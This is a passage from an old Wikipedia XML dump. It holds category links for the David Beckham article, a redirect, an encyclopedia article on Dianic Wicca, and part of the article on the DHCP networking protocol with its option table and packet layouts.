[[Category:FIFA 100|Beckham, David]]
[[Category:Football (soccer) midfielders|Beckham, David]]
[[Category:Free kick specialists|Beckham, David]]
[[Category:Gay icons|Beckham, David]]
[[Category:Jewish-British people|Beckham, David]]
[[Category:Living people|Beckham, David]]
[[Category:Londoners|Beckham, David]]
[[Category:Manchester United F.C. players|Beckham, David]]
[[Category:Officers of the British Empire|Beckham, David]]
[[Category:Preston North End F.C. players|Beckham, David]]
[[Category:Real Madrid players|Beckham, David]]

[[bg:Дейвид Бекъм]]
[[cs:David Beckham]]
[[da:David Beckham]]
[[de:David Beckham]]
[[es:David Beckham]]
[[et:David Beckham]]
[[fa:دیوید بکهام]]
[[fi:David Beckham]]
[[fr:David Beckham]]
[[ga:David Beckham]]
[[gl:David Beckham]]
[[he:דייוויד בקהאם]]
[[hu:David Beckham]]
[[id:David Beckham]]
[[it:David Beckham]]
[[ja:デビッド・ベッカム]]
[[ka:ბექჰემი, დევიდ]]
[[ko:데이비드_베컴]]
[[nl:David Beckham]]
[[no:David Beckham]]
[[pl:David Beckham]]
[[pt:David Beckham]]
[[sv:David Beckham]]
[[tpi:David Beckham]]
[[zh:大卫·贝克汉姆]]</text>
    </revision>
  </page>
  <page>
    <title>Death penalty</title>
    <id>8619</id>
    <revision>
      <id>15906592</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Capital punishment]]
</text>
    </revision>
  </page>
  <page>
    <title>Dianic Wicca</title>
    <id>8620</id>
    <revision>
      <id>40628180</id>
      <timestamp>2006-02-21T22:54:49Z</timestamp>
      <contributor>
        <ip>63.201.91.33</ip>
      </contributor>
      <comment>/* Important figures */</comment>
      <text xml:space="preserve">{{unreferenced}}
'''Dianic Wicca''', also known as '''Women's Spirituality''', '''Feminist Spirituality''', '''Feminist Witchcraft''', and '''Feminist Wicca'''.

== Beliefs and practices ==
Dianic Wicca, Dianic Witchcraft, and Feminist Dianic Witchcraft are all common titles for  the [[Neopaganism|Neopagan]] [[Feminism|Feminist]] [[Dianic tradition]]. While some Dianics self-identify as Wiccans, some prefer the term Witch or priestess of the Goddess. Dianic Wicca can be very similar to traditional [[Wicca]] in practice (see section below for a discussion of their differences), but differs significantly from it in beliefs. Most Dianic Wiccans worship the [[goddess worship|Goddess]] only, acknowledging that She is the source of all living and contains all within Her. There are Dianic witches who practice other forms of paganism (possibly including honoring a male deity or deities) outside of their Dianic practice. Some Dianics are monotheistic, some are polytheistic, some are non-theistic.

Most Dianics worship in female-only circles and covens, but there are mixed-gender Dianic traditions. Eclecticism, appreciation of cultural diversity, ecological concern, and familiarity with sophisticated concepts of psyche and transformation are characteristic.  Contrary to some characterizations, the majority of Dianics are heterosexual or bisexual women. A minority are lesbian, and some of these are associated with the position of [[lesbian separatism]].

Many Dianic Wiccans believe that before recorded history there were widespread or universal [[matriarchy]] or matrifocal cultures which worshipped the Goddess, had [[matrilineal]] family structures, had social equality between the sexes, and did not practice war. These cultures were slowly supplanted by violent patriarchal groups; the original myths of the Great Mother and goddesses were subsumed into mythology honoring the conquerors and war gods. Dianics point to the work of influential and controversial archaeologist  [[Marija Gimbutas]].  Says Utne: &quot;UCLA archaeologist Marija Gimbutas turned historical scholarship on its head in the '70s and 80s with research that depicted peace-loving, co-operation-based Goddess-worshipping societies in ancient Europe-- which were overrun in the Neolithic era by Indo-Europeans who imposed patriarchal order. Gimbutas' vision of an earth-friendly, feminine-centered spirituality has sparked religious awakening; an estimated 400,000 Americans now declare themselves neopagans, and many more with feminist or environmentalist leanings are helping revive Goddess worship.&quot; Some Dianic Witches believe that matrifocal, Goddess-worshipping cultures existed literally, others see them as unproven but inspiring legends. 

Political action is very important to many Dianic witches; personal empowerment is important to all. The saying &quot;the personal is political&quot; can be taken to mean that they view their choice to be Goddess worshipers as a political statement as well as a religious choice. Some Dianics have suggested that monotheistic worship of a male god (like [[God]] in [[Christianity]], [[Islam]] and [[Judaism]]) is particularly harmful to girls and women because if the models for perfection and goodness and authority are male, then half of the population will always be perceived as inadequate.

Some Dianic Wiccans as &quot;positive path&quot; practitioners do neither manipulative spellwork nor hexing; other Dianic witches (notably Zsuzsanna Budapest) do not consider hexing or binding of those who attack women to be wrong.

== History ==
This religion draws on pre-[[Christianity|Christian]] Roman cults of [[Diana (goddess)|Diana]], on all Goddess-centered, matrifocal traditions worldwide, on wise women and women's mysteries traditions, and on [[Gardnerian Wicca]], but the re-birth of this religion can also be traced back to the feminist movement of the late [[1960s]]. In 1968 a group of radical political women formed a protest organization called [[W.I.T.C.H. (organisation)|W.I.T.C.H.]] which stood for &quot;Women's International Terrorist Conspiracy From Hell&quot; and called themselves a coven. Although W.I.T.C.H. was almost purely a political organization, it inspired covens around the country, some of which became spiritual as well as political in nature. Soon after, Z. Budapest a [[hereditary witch]] from [[Hungary]] formed the [[Susan B. Anthony]] Coven No. 1 in California and opened the first Women's Spirituality book and magic shop called the &quot;Feminist Wicca&quot;. Women's cultural festivals began in 1973 and became a networking organization for women interested in Dianic Wicca.

== Important figures ==
*[[Zsuzsanna Budapest]]
*[[Mary Daly]]
*[[Starhawk]]
*[[Ruth Barrett]]
*[[Doreen Valiente]]
*[[Diane Stein]]
*[[Jade River]]
*[[Marija Gimbutas]]
*[[Deanne Quarrie - Bendis]]
*[[Leilani Birely]]

== Differences between Dianic Feminist Wicca and Mainstream [[Wicca]] ==
Like other Wiccans, Dianic Wiccans may form covens, attend festivals, celebrate the eight major Wiccan holidays, [[Samhain]], [[Beltane]], [[Imbolc]] (or Imbolg), [[Lammas]], the [[solstice]]s and [[equinox]]es (see [[Wheel of the Year]]) and the [[Esbat|Esbats]], which are rituals held at the [[full moon]]. They use many of the same altar tools, rituals and vocabulary as other Wiccans.

The most noticeable differences between the two are that most Dianic Wiccans form female-only covens while other Wiccans usually try to form covens with equal numbers of men and women (though they rarely achieve this); and that most Wiccans worship the God and Goddess, while Dianic Wiccans worship the Goddess as Whole Unto Herself.

Other differences are less remarkable and may not be noticeable to an outsider. These include how power is handled within the circle or coven. Traditional Wiccan covens ( particularly Gardnerian and Alexandrian)  are led by a High Priest and a High Priestess who are often married to each other, and have either founded the Coven themselves after attaining second or third degree initiation in another Coven, or have been in the coven the longest. They usually lead every ritual and make all decisions regarding coven management. In most Dianic Wiccan covens, equality and personal empowerment of all is the rule; often the position of High Priestess or ritual leader(s) rotates among the woman for each Sabbat, so that every woman in the coven gets a chance to lead. Often the word 'High' is dropped within the Coven, and the word Priestess may be used more as a verb than a noun - so each woman takes turns to Priestess, rather than to 'be' Priestess. Group decision making will often be consensual rather than hierarchical. 

While several Dianic groups do offer initiations into their tradition, some Dianic Wiccan covens do not offer initiation rituals in general or &quot;degrees&quot;, preferring a less hierarchical group practice. In traditional Wicca there is often a period of initiation (sometimes for a year or more), before advancement to more full practice, and there can be systems of 3, 5 or more degrees of rank within a coven or tradition. A person is often only considered to be Wiccan once they have undergone this initiation, and may not start their own Coven until they have reached second or third degree. Whereas, in Dianic Wicca, initiation is not required in order to be considered part of the Tradition, and women are able to found their own Covens. In the [[drawing down the Moon (ritual)|drawing down the moon]] ritual in traditional Wiccan covens a man usually draws down the moon on a woman who assumes the role of the goddess; in Dianic Wiccan covens, a woman draws down the moon on herself and shares it with all of the members of the group.

Openness to outsiders is another large difference between the two groups. For many years Wiccans have been very secretive about their religion, (sometimes as a safety issue as there is still much controversy about Wicca).  With the formation of Dianic Wicca in 1960s, Wicca in general was thrust into the public's view. Dianic Wiccans held public rallies, protests and even were involved in court cases. Zsuzsanna Budapest took on the State of [[California]] and got the law against fortune telling overturned. These actions helped to bring Wicca in general out into the open and helped to make it more of a mainstream religion. Despite this, there has been friction between some traditional Wiccans and Dianics; some Wiccans have expressed their concern about &quot;imbalance&quot; in Dianic practice by invading women's groups, shutting down rituals, and denouncing Dianic practitioners. Most pagans are now much more respectful of each other, and consider such behavior extremely inappropriate.

Because of the political stance of many Dianic Witches, their celebrations often include Goddesses and traditions from Third World countries or underpriviliged groups in industrialised nations, whereas mainstream Wicca has a tendency toward Euro-centrism, e.g. Celtic, Classical and Asatru deities. [[Mawu]], [[Yemaya]] and Ix-Chel (from Mayan mythology) are examples of non-European Goddesses popular with Dianics.

==References==
*Interview with Starhawk in Modern Pagans: An Investigation of Contemporary Pagan Practices, ed. V. Vale and John Sulak, Re/Search, San Francisco, 2001, ISBN 1-889307-10-6.

==See also==
[[Goddess movement]]

==External links==
*[http://www.circleofaradia.org/ Circle of Aradia]
*[http://www.paganet.org/pnn/v07/i1/feature_sample2.html Dianic Cosmology]
*[http://www.witchvox.com/trads/trad_dianicwiccan.html Dianic Wiccan Tradition]
*[http://www.rcgi.org Re-Formed Congregation of the Goddess, International]
*[http://www.templeofdiana.org Temple of Diana]
*[http://www.zbudapest.com Z Budapest]
*[http://www.flashsilvermoon.com Flash Silvermoon]
*[http://kbs.mahost.org/hgc/fpw.html House of the Goddess (Center for Pagan Wombyn)]
*[http://www.blueroebuck.com/ The Blue Roebuck]
*[http://www.applebranch.org/ The Apple Branch - A Dianic Tradition]
*[http://www.daughtersofthegoddess.com Daughters of the Goddess]
*[http://members.cox.net/hotgoddesscenter/fpw House of the Goddess (Center for Pagan Wombyn) mirror]
*[http://meghan.mrks.org/witch.html Of Witches, Moons and Sacred Places]
*[http://www.belili.org/legacy.html Debate on Marija Gimbutus]
*[http://kisstheviolets.org/padma/ The Lotus Garden]
*[http://www.aeclectic.net/tarot/cards/daughters-of-the-moon/ Daughters of the Moon, a feminist tarot deck]

[[Category:Religious feminism]]
[[Category:Wiccan traditions]]</text>
    </revision>
  </page>
  <page>
    <title>Dynamic Host Configuration Protocol</title>
    <id>8622</id>
    <revision>
      <id>41977403</id>
      <timestamp>2006-03-03T00:22:20Z</timestamp>
      <contributor>
        <username>Pedant17</username>
        <id>16702</id>
      </contributor>
      <comment>copyediting</comment>
      <text xml:space="preserve">{{IPstack}}

In the context of [[computer networking]], '''Dynamic Host Configuration Protocol''' ('''DHCP''', [[as of 2006 | currently]] implemented as DHCPv6) is a [[client-server]] [[network protocol|networking protocol]].  A DHCP [[server]] provides configuration parameters specific to the DHCP client host requesting, generally, information required by the client host to participate on an [[Internet Protocol | IP]] network. DHCP also provides a mechanism for allocation of [[IP address]]es to client hosts.

DHCP emerged as a [[standardization|standard protocol]] in October 1993. RFC 2131 provides the latest ([[as of 2003|March 1997]]) DHCP definition. DHCP functionally became a successor to the older [[BOOTP]] protocol. Due to the  backward-compatibility of DHCP, very few networks continue to use pure BOOTP.

The latest standard of the protocol, describing [[DHCPv6]] (DHCP in a [[IPv6]] environment), appeared in [[as of 2004|July 2003]] as RFC 3315.


==IP address allocation==
Depending on implementation, the DHCP server has three methods of IP-address allocation:
* '''manual allocation''', where the DHCP server performs the allocation based on a table with [[MAC address]] - IP address pairs manually filled by the [[server administrator]]. Only requesting clients with a MAC address listed in this table get the IP address according to the table.
* '''automatic allocation''', where the DHCP server permanently assigns to a requesting client a free IP-address from a range given by the administrator.
* '''dynamic allocation''', the only method which provides dynamic re-use of IP addresses. A [[network administrator]] assigns a range of IP addresses to DHCP, and each client computer on the LAN has its [[TCP/IP]] software configured to request an IP address from the DHCP [[server]] when that client computer's [[network interface card]] starts up. The request-and-grant process uses a lease concept with a controllable time period. This eases the network installation procedure on the client computer side considerably.

This decision remains transparent to clients.

Some DHCP server implementations can update the DNS name associated with the client hosts to reflect the new IP address. They make use of the DNS update protocol established with RFC 2136.__FORCETOC__

==Client Configuration Parameters==
A DHCP server can provide optional configurations to the client. RFC 2132 defines 
DHCP options.

List of configurable options and their corresponding numbers:

''RFC 1497 Vendor Extensions:''

                                  Data 
   Tag     Name                  Length  Meaning                              
   ---     ----                  ------  -------                              
    0      Pad Option               0    None                                 
   255     End Option               0    None
    1      Subnet Mask              4    Subnet Mask Value                    
    2      Time Offset              4    Time Offset in                       
                                         Seconds from UTC 
    3      Router                  N×4   Router addresses                 
    4      Time Server             N×4   Timeserver addresses             
    5      Name Server             N×4   IEN-116 Server addresses         
    6      Domain Server           N×4   DNS Server addresses             
    7      Log Server              N×4   Logging Server addresses         
    8      Quotes Server           N×4   Quotes Server addresses          
    9      LPR Server              N×4   Printer Server addresses         
   10      Impress Server          N×4   Impress Server addresses         
   11      RLP Server              N×4   N RLP Server addresses             
   12      Hostname                 N    Hostname string                      
   13      Boot File Size           2    Size of boot file in 512-octet        
                                         blocks 
   14      Merit Dump File          N    Client to dump and name              
                                         the file to dump it to 
   15      Domain Name              N    The DNS domain name of the           
                                         client 
   16      Swap Server              4    Swap Server address                  
   17      Root Path                N    Path name for root disk              
   18      Extensions File          N    Path name for more BOOTP info        

''IP Layer Parameters per Host:''

   19      Forward On/Off           1    Enable/Disable IP Forwarding         
   20      SrcRte On/Off            1    Enable/Disable Non-Local Source Routing        
   21      Policy Filter           N×8   Non-Local Source Routing Policy Filters             
   22      Max DG Assembly          2    Max Datagram Reassembly Size         
   23      Default IP TTL           1    Default IP Time to Live              
   24      MTU Timeout              4    Path MTU Aging Timeout               
   25      MTU Plateau             N×2   Path MTU Plateau Table              

''IP Layer Parameters per Interface:''

   26      MTU Interface            2    Interface MTU Size                   
   27      MTU Subnet               1    All Subnets are Local                
   28      Broadcast Address        4    Broadcast Address                    
   29      Mask Discovery           1    Perform Mask Discovery               
   30      Mask Supplier            1    Provide Mask to Others               
   31      Router Discovery         1    Perform Router Discovery             
   32      Router Request           4    Router Solicitation Address          
   33      Static Route            N×8   Static Routing Table                 

''Link Layer Parameters per Interface:''

   34      Trailers                 1    Trailer Encapsulation                
   35      ARP Timeout              4    ARP Cache Timeout                    
   36      Ethernet                 1    Ethernet Encapsulation               

''TCP Parameters:''

   37      Default TCP TTL          1    Default TCP Time to Live             
   38      Keepalive Time           4    TCP Keepalive Interval               
   39      Keepalive Data           1    TCP Keepalive Garbage                

''Application and Service Parameters:''

   40      NIS Domain               N    NIS Domain Name                      
   41      NIS Servers             N×4   NIS Server Addresses                 
   42      NTP Servers             N×4   NTP Server Addresses                 
   43      Vendor Specific          N    Vendor Specific Information          
   44      NETBIOS Name Srv        N×4   NETBIOS Name Servers                 
   45      NETBIOS Dist Srv        N×4   NETBIOS Datagram Distribution        
   46      NETBIOS Node Type        1    NETBIOS Node Type                    
   47      NETBIOS Scope            N    NETBIOS Scope                        
   48      X Window Font           N×4   X Window Font Server                 
   49      X Window Manager        N×4   X Window Display Manager             
   64      NIS-Domain-Name          N    NIS+ v3 Client Domain Name           
   65      NIS-Server-Addr         N×4   NIS+ v3 Server Addresses             
   68      Home-Agent-Addrs        N×4   Mobile IP Home Agent Addresses                 
   69      SMTP-Server             N×4   Simple Mail Server Addresses         
   70      POP3-Server             N×4   Post Office Server Addresses         
   71      NNTP-Server             N×4   Network News Server Addresses        
   72      WWW-Server              N×4   WWW Server Addresses                 
   73      Finger-Server           N×4   Finger Server Addresses              
   74      IRC-Server              N×4   Chat Server Addresses                
   75      StreetTalk-Server       N×4   StreetTalk Server Addresses          
   76      STDA-Server             N×4   ST Directory Assist. Addresses       

''DHCP Extensions:''

   50      Address Request          4    Requested IP Address                 
   51      Address Time             4    IP Address Lease Time                
   52      Option Overload          1    Overload &quot;sname&quot; or &quot;file&quot;           
   53      DHCP Msg Type            1    DHCP Message Type                    
   54      DHCP Server Id           4    DHCP Server Identification           
   55      Parameter List           N    Parameter Request List               
   56      DHCP Message             N    DHCP Error Message                   
   57      DHCP Max Msg Size        2    DHCP Maximum Message Size            
   58      Renewal Time             4    DHCP Renewal (T1) Time               
   59      Rebinding Time           4    DHCP Rebinding (T2) Time             
   60      Class Id                 N    Vendor Class Identifier                     
   61      Client Id                N    Client Identifier                    
   66      Server-Name              N    TFTP Server Name                     
   67      Bootfile-Name            N    Boot File Name                       

''Newer extensions:''

   62      Netware/IP Domain        N    Netware/IP Domain Name               
   63      Netware/IP Option        N    Netware/IP sub Options               
   77      User-Class               N    User Class Information               
   78      Directory Agent          N    directory agent information          
   79      Service Scope            N    service location agent scope         
   80      Rapid Commit             0    Rapid Commit                         
   81      Client FQDN              N    Fully Qualified Domain Name          
   82      Relay Agent Information  N    Relay Agent Information              
   83      iSNS                     N    Internet Storage Name Service        
   84      REMOVED/Unassigned                                                 
   85      NDS Servers              N    Novell Directory Services            
   86      NDS Tree Name            N    Novell Directory Services            
   87      NDS Context              N    Novell Directory Services            
   88      BCMCS Controller Domain Name list                                  
   89      BCMCS Controller IPv4 address option                               
   90      Authentication           N    Authentication                       
   91      REMOVED/Unassigned                                                 
   92      REMOVED/Unassigned                                                 
   93      Client System            N    Client System Architecture           
   94      Client NDI               N    Client Network Device Interface      
   95      LDAP                     N    Lightweight Directory Access Protocol
   96      REMOVED/Unassigned                                                 
   97      UUID/GUID                N    UUID/GUID-based Client Identifier    
   98      User-Auth                N    Open Group's User Authentication     
   99      Unassigned                                                         
   100     REMOVED/Unassigned                                                 
   101     REMOVED/Unassigned                                                 
   102-107 REMOVED/Unassigned                                                 
   108     REMOVED/Unassigned                                                 
   109     Unassigned                                                         
   110     REMOVED/Unassigned                                                 
   111     Unassigned                                                         
   112     Netinfo Address          N    NetInfo Parent Server Address        
   113     Netinfo Tag              N    NetInfo Parent Server Tag            
   114     URL                      N    URL                                  
   115     REMOVED/Unassigned                                                 
   116     Auto-Config              N    DHCP Auto-Configuration              
   117     Name Service Search      N    Name Service Search                  
   118     Subnet Selection Option  4    Subnet Selection Option              
   119     Domain Search            N    DNS domain serach list               
   120     SIP Servers DHCP Option  N    SIP Servers DHCP Option              
   121     Classless Static Route   N    Classless Static Route Option        
           Option 
   122     CCC                      N    CableLabs Client Configuration       
   123     GeoConf Option          16    GeoConf Option                       
   124     V-I Vendor Class              Vendor-Identifying Vendor Class      
   125     V-I Vendor-Specific           Vendor-Identifying Vendor-Specific   
           Information                   Information
   126     Removed/Unassigned                                                 
   127     Removed/Unassigned                                                 
   128     PXE - undefined (vendor specific) (Tentatively Assigned - [[23 June]] [[2005]]) 
   128     Etherboot signature. 6 bytes: E4:45:74:68:00:00	
   128     DOCSIS &quot;full security&quot; server IP address	
   128     TFTP Server IP address (for IP Phone software load)	
   129     PXE - undefined (vendor specific) (Tentatively Assigned - [[23 June]] [[2005]])
   129     Kernel options. Variable length string	
   129     Call Server IP address 	
   130     PXE - undefined (vendor specific) (Tentatively Assigned - [[23 June]] [[2005]])
   130     Ethernet interface. Variable length string.	
   130     Discrimination string (to identify vendor)	
   131     PXE - undefined (vendor specific) (Tentatively Assigned - [[23 June]] [[2005]])
   131     Remote statistics server IP address 	
   132     PXE - undefined (vendor specific) (Tentatively Assigned - [[23 June]] [[2005]])
   132     802.1P VLAN ID 	
   133     PXE - undefined (vendor specific) (Tentatively Assigned - [[23 June]] [[2005]])
   133     802.1Q L2 Priority	
   134     PXE - undefined (vendor specific) (Tentatively Assigned - [[23 June]] [[2005]])
   134     Diffserv Code Point	
   135     PXE - undefined (vendor specific) (Tentatively Assigned - [[23 June]] [[2005]])
   135     HTTP Proxy for phone-specific applications	
   136-149 Unassigned                                                         
   150     TFTP server address (Tentatively Assigned - [[23 June]] [[2005]])
   150     Etherboot	
   150     GRUB configuration path name	
   151-174 Unassigned                                                         
   175     Etherboot (Tentatively Assigned - [[23 June]] [[2005]])
   176     IP Telephone (Tentatively Assigned - [[23 June]] [[2005]])
   177     Etherboot (Tentatively Assigned - [[23 June]] [[2005]])
   177     PacketCable and CableHome (replaced by 122)	
   178-207 Unassigned                                                         
   208     pxelinux.magic (string) = F1:00:74:7E (241.0.116.126) (Tentatively
             Assigned - [[23 June]] [[2005]])
   209     pxelinux.configfile (text) (Tentatively Assigned - [[23 June]] [[2005]])
   210     pxelinux.pathprefix (text) (Tentatively Assigned - [[23 June]] [[2005]])
   211     pxelinux.reboottime (unsigned integer 32 bits) (Tentatively Assigned
             - [[23 June]] [[2005]])
   212-219 Unassigned
   220     Subnet Allocation Option (Tentatively Assigned - [[23 June]] [[2005]])
   221     Virtual Subnet Selection Option	(Tentatively Assigned - [[23 June]] [[2005]])
   222-223 Unassigned                                                         
   224-254 Private Use

==Implementations==
[[Microsoft]] introduced DHCP on their [[Windows NT|NT server]] with Windows NT version 3.5 in late 1994.  (Despite its billing as &quot;a new feature from Microsoft&quot;, DHCP did not originate from Microsoft.)

The [[Internet Software Consortium]] published DHCP software distributions for [[Unix]] variants with version 1.0.0 of the ISC DHCP Server released on [[December 6]] [[1997]] and a more RFC-compliant version 2.0 on [[June 22]] [[1999]].  One can download this software from http://www.isc.org/sw/dhcp/

[http://www.wide.ad.jp/ WIDE Project] released their DHCP implementation in 1995 and a more stable version (1.4.0) in August 1997. One can freely download this from ftp://sh.wide.ad.jp/WIDE/free-ware/dhcp/

[http://www.kame.net/ KAME Project] released a DHCPv6 implementation, [[as of 2006 | now]] separately maintained. It uses the new home page http://wide-dhcpv6.sourceforge.net/

[[Novell]] has included a DHCP server in their [[Novell NetWare|NetWare]] operating system since version 5, released in [[1998]]. It integrates with Novell's directory service - [[Novell eDirectory]].

[http://www.weird-solutions.com Weird Solutions] has produced a variety of multi-platform DHCP implementations since 1997, targeted at both the [[Internet service provider]] and consumer markets.

Other major implementations include:
* [[Cisco Systems | Cisco]],  with a DHCP server made available in Cisco IOS 12.0 in February 1999 
* [[Sun Microsystems | Sun]],  who added DHCP support in the July 2001 release of [[Solaris Operating Environment|Solaris]] 8.

[[Cisco Systems]] offers DHCP servers in routers and switches with their IOS software. Moreover, they offer [http://www.cisco.com/en/US/products/sw/netmgtsw/ps1982/index.html Cisco Network Registrar] (CNR) - a highly scalable and flexible DNS, DHCP and TFTP server.

==Extent of DHCP usage==
Most [[Cable modem|cable internet]] providers in the United States of America use DHCP to allocate IP addresses. [[Digital Subscriber Line | DSL]] providers in the US rarely use DHCP, preferring [[Point-to-Point Protocol over Ethernet|PPPoE]] instead.&lt;!-- Does anybody know about usage outside of the U.S. by broadband ISPs? --&gt;   

In the U.K. many broad-band ISP networks use DHCP, but [[XDSL]] providers make extensive use of &quot;infinite lease&quot;, which amounts to assigning semi-static IPs.  

In addition, many [[router]]s and other gateway devices provide DHCP support for [[Computer Network|networks]] of up to 255 computers, for assigning private IP addresses. 

Office networks also use DHCP, in particular when workers make extensive use of laptops that only occasionally link directly to the in-house network.

Network [[router]]s often employ a ''DHCP relay agent'', which relays DHCP Discover broadcasts from a LAN without a DHCP server to a network which has one.

==Protocol anatomy==

DHCP uses the same two [[IANA]] assigned ports as [[BOOTP]]: 67/udp for the server side, and 68/udp for the client side.

===DHCP Discover===
The client broadcasts on the local physical subnet to find available servers. Network administrators can configure a local router to forward DHCP packets to a DHCP server on a different subnet. This client implementation creates a [[User_Datagram_Protocol|UDP]] packet with the broadcast destination of 255.255.255.255 and also requests its last-known IP address of 192.168.1.100 (although the server may ignore this optional parameter).

&lt;table border=&quot;0&quot;&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;
&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot;&gt;&lt;caption&gt;DHCPDISCOVER&lt;/caption&gt;
&lt;tr&gt;&lt;td colspan=4&gt;[[User Datagram Protocol|UDP]] Src=0.0.0.0 sPort=68 Dest=255.255.255.255 dPort=67&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;OP&lt;/th&gt;&lt;th&gt;HTYPE&lt;/th&gt;&lt;th&gt;HLEN&lt;/th&gt;&lt;th&gt;HOPS&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;0x01&lt;/td&gt;&lt;td&gt;0x01&lt;/td&gt;&lt;td&gt;0x06&lt;/td&gt;&lt;td&gt;0x00&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;XID&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x3903F326&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=2&gt;SECS&lt;/th&gt;&lt;th colspan=2&gt;FLAGS&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=2&gt;0x0000&lt;/td&gt;&lt;td colspan=2&gt;0x0000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;CIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;YIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;SIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;GIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;CHADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00053C04&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x8D590000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;192 octets of 0's. [[BOOTP]] legacy&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;DHCP option 53: DHCP Discover&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;DHCP option 50: 192.168.1.100 requested&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;/td&gt;

===DHCP Offer===
The server determines the configuration based on the client's hardware address as specified in the CHADDR field. Here the server, 192.168.1.1, specifies the IP address in the YIADDR field.
&lt;td valign=&quot;top&quot;&gt;&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot;&gt;&lt;caption&gt;DHCPOFFER&lt;/caption&gt;
&lt;tr&gt;&lt;td colspan=4&gt;UDP Src=192.168.1.1  sPort=67 Dest=255.255.255.255  dPort=68 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;OP&lt;/th&gt;&lt;th&gt;HTYPE&lt;/th&gt;&lt;th&gt;HLEN&lt;/th&gt;&lt;th&gt;HOPS&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;0x02&lt;/td&gt;&lt;td&gt;0x01&lt;/td&gt;&lt;td&gt;0x06&lt;/td&gt;&lt;td&gt;0x00&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;XID&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x3903F326&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=2&gt;SECS&lt;/th&gt;&lt;th colspan=2&gt;FLAGS&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=2&gt;0x0000&lt;/td&gt;&lt;td colspan=2&gt;0x0000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;CIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;YIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0xC0A80164&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;SIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;GIADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;CHADDR&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00053C04&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x8D590000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;0x00000000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;192 octets of 0's. [[BOOTP]] legacy&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;DHCP option 53: DHCP Offer&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;DHCP option 1: 255.255.255.0 subnet mask&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;DHCP option 3: 192.168.1.1 router&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;DHCP option 51: 1 day IP lease time&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;DHCP option 54: 192.168.1.1 DHCP server&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;/td&gt;

===DHCP Request===

The client selects a configuration out of the DHCP Offer packets it has received and broadcasts it on the local subnet. Again, this client requests the 192.168.1.100 address that the server specified.

